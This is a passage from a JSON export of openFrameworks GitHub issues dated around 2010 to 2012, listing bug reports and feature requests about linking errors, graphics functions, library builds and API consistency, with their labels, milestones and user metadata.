to loadImage(\"...\") makes the error go away.\n\n Undefined symbols:\n \"std::basic_ostream >& std::__ostream_insert >(std::basic_ostream >&, char const*, int)\", \n referenced from:\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n\nld: symbol(s) not found\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387","comments":1,"milestone":null,"number":387,"html_url":"https://github.com/openframeworks/openFrameworks/issues/387","assignee":null,"title":"Linker error when loading image (Poco::Net related?)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T05:57:51Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":529646,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T17:01:08Z","body":"would be nice if it was a float (0-1) and not an int(0-100) for standardization with every other audio thing in the universe aside from quicktime","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/375","comments":2,"milestone":null,"number":375,"html_url":"https://github.com/openframeworks/openFrameworks/issues/375","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofVideoPlayer setVolume uses an int","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-01-15T23:03:57Z","state":"open","user":{"url":"https://api.github.com/users/stfj","gravatar_id":"b089227a1748a2d70cdfc4ef00b325ad","login":"stfj","avatar_url":"https://secure.gravatar.com/avatar/b089227a1748a2d70cdfc4ef00b325ad?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":177578},"id":529268,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-14T19:30:31Z","body":"glDrawBitmapString doesn't work when GL_LIGHTING is enabled.\r\n\r\nwell, it works... but it is black because it isn't reflecting any light. regardless of the ofSetColor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357","comments":0,"milestone":null,"number":357,"html_url":"https://github.com/openframeworks/openFrameworks/issues/357","assignee":null,"title":"glDrawBitmapString vs GL_LIGHTING","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-14T19:30:31Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":527591,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-14T01:33:38Z","body":"some of the core functions only work with 2d points, others only with 3d points, some work with both. but they all take ofPoints.\r\n\r\nit's good for teaching purposes to have ofPoints because you don't have to explain what a 'vector' is, but it's unclear for advanced users whether the functions take 2d or 3d points...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347","comments":0,"milestone":null,"number":347,"html_url":"https://github.com/openframeworks/openFrameworks/issues/347","assignee":null,"title":"none of the core functions report how many dimensions they work for","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-01-14T01:33:38Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":526094,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-13T16:16:40Z","body":"e.g., GL_DEPTH_TEST.\r\n\r\none of the reasons for this is that it's not obvious to newbies what common features are available.\r\n\r\nanother is that i've seen lots of people write GL_DEPTH instead, which obviously doesn't work.\r\n\r\nthere might be some others too, see processing's hint():\r\n\r\nhttp://processing.org/reference/hint_.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/340","comments":0,"milestone":null,"number":340,"html_url":"https://github.com/openframeworks/openFrameworks/issues/340","assignee":null,"title":"OF wrapper for basic gl functions that aren't intuitive to newbies","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2011-01-13T16:16:40Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":524875,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-27T13:35:42Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":337,"html_url":"https://github.com/openframeworks/openFrameworks/issues/337","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"ofFileDialog allow folder selection ( works on os x ) needs code for win and linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-13T05:21:53Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":523837,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:06Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/330","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":330,"html_url":"https://github.com/openframeworks/openFrameworks/issues/330","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"title":"OpenCv 2.2 for Win ( CB and VS )","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":null,"created_at":"2011-01-12T19:09:37Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":522789,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-04T14:06:34Z","body":"currentStyle stores everything about the current style, so it can be used rather than things like drawMode for tracking how things should currently be draw.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/325","comments":1,"milestone":null,"number":325,"html_url":"https://github.com/openframeworks/openFrameworks/issues/325","assignee":null,"title":"drawMode can be deprecated, currentStyle.bFill should be used instead","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-12T15:41:11Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":522255,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-12T15:34:48Z","body":"ordering for code completion is a little weird.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/324","comments":0,"milestone":null,"number":324,"html_url":"https://github.com/openframeworks/openFrameworks/issues/324","assignee":null,"title":"ofPushView/ofPopView appear before ofPushMatrix/ofPopMatrix","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":null,"created_at":"2011-01-12T15:34:48Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":522231,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-10T22:30:48Z","body":"under the /video directory","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/311","comments":0,"milestone":null,"number":311,"html_url":"https://github.com/openframeworks/openFrameworks/issues/311","assignee":null,"title":"openFrameworksLib has ofQtUtils included twice","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-10T22:30:48Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":518434,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-10T06:36:27Z","body":"better to use aggregation (helper classes/functions) if necessary for common functionality that have implementation in those classes. making them pure abstract classes will avoid problems with multiple inheritance and easier to extend in case of different behaviour","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305","comments":0,"milestone":null,"number":305,"html_url":"https://github.com/openframeworks/openFrameworks/issues/305","assignee":null,"title":"no implementation in ofBaseTypes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-10T06:36:27Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":516844,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:59:59Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":302,"html_url":"https://github.com/openframeworks/openFrameworks/issues/302","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Remove Poco CppUnit from all projects ( done on os x )","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-10T02:39:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516565,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:06:09Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/299","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":299,"html_url":"https://github.com/openframeworks/openFrameworks/issues/299","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"freetype-2.4.4 for linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-10T02:38:08Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516560,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:06:08Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":298,"html_url":"https://github.com/openframeworks/openFrameworks/issues/298","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"freetype-2.4.4 for windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-01-10T02:37:49Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516559,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:59:27Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/296","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":296,"html_url":"https://github.com/openframeworks/openFrameworks/issues/296","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"FreeImage 3141 build for windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-01-10T02:36:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516556,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-09T20:46:43Z","body":"I think the pixeltype, the gltypeinternal and the gltype should be accessible to the user as well as the loadData(void * data, int w, int h, int glDataType) which is actually protected.\r\n\r\nActual implementation is only limited to a few choice of internalFormat which lead to choice of pixeltype and gltype. It thus doesn't allow from user specific type.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292","comments":0,"milestone":null,"number":292,"html_url":"https://github.com/openframeworks/openFrameworks/issues/292","assignee":null,"title":"ofTexture should be more flexible","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-01-09T20:46:43Z","state":"open","user":{"url":"https://api.github.com/users/I33N","gravatar_id":"ba8d7c3b4532d3747c30b9be91dc20d5","login":"I33N","avatar_url":"https://secure.gravatar.com/avatar/ba8d7c3b4532d3747c30b9be91dc20d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":520375},"id":516071,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T10:49:15Z","body":"ofImage::getWidth()/getHeight() are just getters that do absolutely nothing but return a copy of the width and height. these methods should be marked const.\r\n\r\n[added]: there are hacks inside ofxCv that i've had to make because getWidth/getHeight are not const correct. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288","comments":6,"milestone":null,"number":288,"html_url":"https://github.com/openframeworks/openFrameworks/issues/288","assignee":null,"title":"const correctness - add const to getWidth/getHeight","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-08T02:14:03Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":513779,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-11-30T05:13:10Z","body":"This is giving me some crashes. There needs to be a way to disable this when making custom windows. I have tried to do atexit(NULL); but the callback in ofRunApp(ofBaseApp * OFSA) is still being called. \r\n\r\nmaybe something like:\r\n\r\nvoid ofRunApp(ofBaseApp * OFSA, bool useExitCallback);\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275","comments":0,"milestone":null,"number":275,"html_url":"https://github.com/openframeworks/openFrameworks/issues/275","assignee":null,"title":"atexit(ofExitCallback);","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-11-30T05:13:10Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":149997},"id":445829,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-17T02:02:25Z","body":"bottom left corner is inconsistent with every other drawing command in OF, should be top left instead.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271","comments":7,"milestone":null,"number":271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/271","assignee":null,"title":"ofDrawBitmapString draws from bottom left","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-11-22T21:30:40Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":433297,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-03T19:04:08Z","body":"test if this is really useful:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4889&view=unread#unread\r\n\r\nhe adds a queue just before the color conversion","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/265","comments":0,"milestone":null,"number":265,"html_url":"https://github.com/openframeworks/openFrameworks/issues/265","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"linux videograbber stopping after some time","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-11-18T12:07:46Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":426050,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-19T22:47:21Z","body":"ofClear(r,g,b) is inconsistent with ofBackground(r,g,b) because the alpha is 0 by default -- meaning you always have to explicitly declare the 